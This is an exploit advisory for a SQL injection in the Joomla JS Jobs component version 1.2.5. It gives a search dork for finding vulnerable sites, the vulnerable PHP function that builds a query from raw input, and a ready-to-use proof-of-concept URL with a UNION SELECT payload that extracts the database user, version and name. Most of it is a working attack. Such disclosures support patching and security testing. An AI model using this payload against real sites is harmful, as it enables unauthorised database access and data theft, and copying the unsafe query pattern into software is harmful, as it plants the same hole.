Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection

#Exploit Title: Joomla! component com_jsjobs - SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 11.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
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#Vulnerability details:
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Vulnerable code is in line 296 in file site/models/cities.php

   291	    function isCityExist($countryid, $stateid, $cityname){
   292	        if (!is_numeric($countryid))
   293	            return false;
   294	
   295	        $db = $this->getDBO();
   296		$query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'";	//!!!
   297	
   298	        if($stateid > 0){
   299	            $query .= " AND stateid=".$stateid;
   300	        }else{
   301	            $query .= " AND (stateid=0 OR stateid IS NULL)";
   302		}
   303		
   305	        $db->setQuery($query);
   306	        $city = $db->loadObject();
   307	        if ($city != null)
   308	            return $city;
   309	        else
   310	            return false;
   311	    }
   312	
   313	}

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#PoC:
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http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada